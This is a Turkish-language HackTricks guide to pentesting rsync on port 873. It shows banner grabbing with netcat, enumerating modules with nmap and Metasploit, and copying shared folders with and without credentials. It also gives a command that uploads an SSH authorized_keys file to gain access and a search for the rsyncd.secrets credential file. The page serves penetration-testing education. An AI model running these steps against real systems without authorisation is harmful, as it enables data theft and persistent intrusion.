hacktricks/network-services-pentesting/873-pentesting-rsync.md
2024-02-10 18:14:16 +00:00

7.4 KiB
Raw Blame History

873 - Rsync Pentest

AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

wikipedia'dan alınan bilgilere göre:

rsync, bir bilgisayar ile harici bir sabit disk arasında ve ağ üzerindeki bilgisayarlar arasında dosya aktarma ve senkronizasyon işlemlerini verimli bir şekilde gerçekleştiren bir yardımcı programdır. Bu işlem, dosyaların değiştirme zamanlarını ve boyutlarını karşılaştırarak yapılır.[3] Genellikle Unix benzeri işletim sistemlerinde bulunur. Rsync algoritması, bir tür delta kodlama kullanır ve ağ kullanımını en aza indirmek için kullanılır. Ek olarak veri sıkıştırma için Zlib kullanılabilir,[3] ve güvenlik için SSH veya stunnel kullanılabilir.

Varsayılan port: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Numaralandırma

Banner ve El ile İletişim

Rsync, bir ağ servisi olduğu için, hedef sistemde çalıştırıldığında bir banner döndürür. Bu banner, hedef sistem hakkında bazı bilgiler sağlayabilir. Rsync sunucusuna bağlanarak banner'ı alabilirsiniz:

$ nc <hedef_ip> 873

Banner'ı almak için nc (netcat) aracını kullanıyoruz. Banner, hedef sistemde çalışan Rsync sürümünü ve diğer bilgileri içerebilir.

Ayrıca, Rsync sunucusuyla el ile iletişim kurabilirsiniz. Rsync sunucusuna bağlanmak için rsync komutunu kullanabilirsiniz:

$ rsync <hedef_ip>::

Bu komut, sunucudaki mevcut modülleri listeler. Modüller, Rsync sunucusunda paylaşılan dizinlerdir. Bu dizinlere erişim sağlayarak verilere erişebilirsiniz.

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Paylaşılan Klasörleri Sıralama

Rsync modülleri, şifrelerle korunmuş olabilecek dizin paylaşımları olarak tanımlanır. Kullanılabilir modülleri belirlemek ve şifre gerekip gerekmediğini kontrol etmek için aşağıdaki komutlar kullanılır:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Dikkatli olun, bazı paylaşımlar liste içinde görünmeyebilir ve gizlenebilir. Ayrıca, bazı paylaşımlara erişim belirli kimlik bilgilerine kısıtlı olabilir ve "Erişim Engellendi" mesajıyla belirtilir.

Brute Force

Rsync Kullanımı

Bir modül listesi elde ettikten sonra, işlemler kimlik doğrulaması gerekip gerekmediğine bağlı olarak değişir. Kimlik doğrulaması olmadan, paylaşılan bir klasörden dosyaların listelenmesi ve kopyalanması, yerel bir dizine şu şekilde gerçekleştirilir:

# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Bu işlem, dosyaları özelliklerini ve izinlerini koruyarak rekürsif olarak aktarır.

Kimlik bilgileri ile paylaşılan bir klasörden listeleyip indirme işlemi aşağıdaki gibi yapılabilir, burada bir şifre isteme ekranı görünecektir:

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

İçerik yüklemek için, erişim için bir authorized_keys dosyası gibi, şunu kullanın:

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

Rsyncd yapılandırma dosyasını bulmak için şunu çalıştırın:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

Bu dosyada, bir secrets dosyası parametresi rsyncd kimlik doğrulaması için kullanıcı adları ve şifreler içeren bir dosyaya işaret edebilir.

Referanslar

AWS hackleme konusunda sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları: